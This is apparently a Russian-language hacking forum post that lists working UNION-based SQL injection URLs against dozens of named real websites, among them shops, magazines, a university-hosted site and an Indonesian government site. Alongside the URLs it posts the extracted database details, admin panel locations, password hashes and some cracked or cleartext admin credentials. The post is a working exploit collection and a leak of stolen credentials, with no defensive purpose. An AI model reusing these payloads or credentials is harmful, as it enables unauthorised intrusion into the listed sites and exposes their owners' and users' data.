SQL Инъекции

commencementflowers.com - PR3

Code:

http://www.commencementflowers.com/flowers_catalog/index.php?id=fuck%27+UNION+SELECT+concat_ws(0x3a,version(),user(),database())/*

Version: 4.0.24-standard-log
User: convflow@10.105.0.6
DB name: convflow

Админка:

Code:

http://www.commencementflowers.com/flowers_catalog/admin/

Но к сожалению или к счастью basic авторизация =)

 

Code:

http://www.birdsinbulgaria.org/news.php?id=-1+union+select+1,concat_ ws(0x 3a,version(),data  base(),user()),3,4,5,6--

Database Version: 5.0.51
Database name: birdsinbulgaria
User name:birdsinbulgaria@localhost

Code:

http://www.eotepic.org/news.php?id=-1+union+select+1,2,3,concat_ ws(0x3a,vers ion(),database(),user ()),5 ,6,7,8,9,10,11,12,13,14,15,16,17,18--

Database Version: 5.0.67
Database name: eot_pacibirdsinbulgaria
User name: eot-web2@hemlock.ncsa.uiuc.edu

 

http://www.ecazari.ro/cazare/index.php?pid=-1531+UNION+SELECT+concat_ws(0x3a,version(),database(),user()),2--%20&user=det


Database Version: 4.1.22-standard-log
Database name: rent4all_cazari
User name: rent4all_cazari@localhost


http://www.ecazari.ro/cazare/index.php?pid=-1531+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3a,email,id,name,password,user),0x71),0x71)+FROM+admin+LIMIT+0,1-- &user=det

::1::e7f7c6d0dd34536e5ad587c201ba7aef:admin

pass cracked by OMG xteog300

 

Code:

http://www.thrashermagazine.com/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,concat(username,char(58),password,char(58),email),3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20+from+jos_users--%20%20

Code:

http://www.slapmagazine.com/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,concat(username,char(58),password,char(58),  email),3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20+from+jos_users--

 

http://www.leaguexbox.fr - PR: 4

Code:

http://www.leaguexbox.fr/main_pages/news.php?id=-1+union+select+1,2,3,concat_ ws(0x3a,version(),datab ase(),user()) ,5,6,7,8, 9,10,11,12,13,14--

Database Version : 5.0.44
Database name : leaguexb
User name : leaguexb@localhost

 

http://www.bellarosa.by/guest.php?PagID=-999999+union+select+1,user(),version(),database(),concat_ws(0x3a,LOGIN,PASS)+from+br_users/*

 

http://www.erachicco.ro/products.php?pid=36[SQL]&pager=9

Version : 4.1.22-standard-log
DataBase:erachico_erachicco
User: erachico@localhost

 

wol.bz - бесплатный хостинг=)

юзер - postcards@192.168.1.15
бд - constructor_new
версия MySQL - 4.0.25-standard

 

Code:

http://www.cantus.hr/infonaslova.php?id=-36+union+select+1,2,3,4,5,concat_ws(iduser,0x3a,passwd),7+from+admin+limit+1,1

http://www.cantus.hr/admin/ - админка
Логин и пароль - vlasta

Code:

http://www.jk-meridijan.hr/article.php?id=-36+union+select+1,2,3,4,login,password,7,8,9,10,11,12+from+users+limit+1,1

 

Code:

http://www.paradigmmgmt.com/artist_detail.php?id=-1+union+select+1,2,3,concat_ ws(0 x3a,version(),database (),user()),5,6,7,8--

Database Version : 5.0.67
Database name : paradig3_db
User name : paradig3_user@localhost

 

Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1)

ccs2a

scCommerce_computersworth

Database Version: 5.1.30
Database name: gamepile_14kofginafpd
User name: gamepile_webuser@localhost


Питорасики -)))

Version:4.0.27-max-log
User:mccann76@68.178.211.7
Database:mccann76

Database Version:4.0.27-standard
User name:maybs_mfadb@localhost
Database name:maybs_claire


ASP С мускулом!

Database Version:4.0.24-nt-max
User name:internetadmin@DEDI408
Database name:standrew

 

PageRank 6

Database Version: 5.1.11-beta
Database name: rothbury
User name: web.rbf@localhost


Вывод на картиночке =)

Version:4.1.25-Debian_mt1
User:citric@72.47.224.15
Database:citric_es

 

PR4

http://www.spiderproject.ro/ro/noutati.php?art=-39+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10

Database Version: 5.0.67-community-log
Database name: spiderpr_1
User name: spiderpr_1@localhost


З.Ы. особо дорог сей сайт тем , что его главный директор а именно http://www.spiderproject.ro/ro/echipa.php преподовал мне енту тему 1 год, екзамен сдал на ура, так как был единственным рускоязычным студентом в группе...а данная програма русская разработка

 

Database Version: 5.0.67-msl-icd1-log
Database name: srosolutions_cms
User name: srosolutions@s401.sureserver.com

Fields usernameassword

: admin : cantona1996

 

http://kormos.ro/index.php?lg=en&produse&pid=2[SQL]



Version: 5.0.67-community
DataBase: kormos_kormos
User: kormos_kormos@localhost

www.kormos.ro/admin

 

Version:4.0.27-standard
User:freedoms_freedom@localhost
Database:freedoms_freefeed

Version:4.1.22-standard-log
User:spoono_db@localhost
Database:spoono_sections

 

http://www.structural-project.ro/page.php?pid=-18+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3a,Version(),Database(),User()),0x71),0x71),2,3,4,5,6/*


Database Version: 4.1.11-log
Database name: structural
User name: project@ns3.opticnet.ro

id,password,usr
1:Razvan Ioan:3e21ab
62fb17400301d9f0156b6c3031:razvanioan
1:Niculina Tutu:3bcdff0b24ffe7eaeb6ed4966852c31f:nicktutu
1:Admin:39b508932796a4c883b56bfc20e96054:StructProject

www.structural-project.ro/admin

 

http://www.digitalvision.ro/index.php?modp=sas&sid=-251301462+UNION+SELECT+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6/*&prord=ASC



Database Version: 5.0.48
Database name: digitalvision_ro
User name: dv_ro_miniuser@localhost


http://www.digitalvision.ro/admin.php

6898262ba962c9fe79fb3d5a057c8d75

 

http://www.pdn.dkp.go.id/index.php?mod=modules/prd02.php&no=-31%20union%20select%201,2,3,4,concat_ws(0x3a,user,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%20from%20login--

И вот содержимое таблицы Login

NIP,user,unit,level,org,time_login,time_logout,status,psw,login_id,sessionid,userid,von,bis,status,site,UserID,UserPass,NamaUser,Level,Unker,no,user,password,level,no,user,password,level,no,user,password,level

 

http://matrimoniale.oltenia.ro/trimite-14354[SQL].html


Version : 5.0.22-log
Database: matrimoniale
User : dassaev@localhost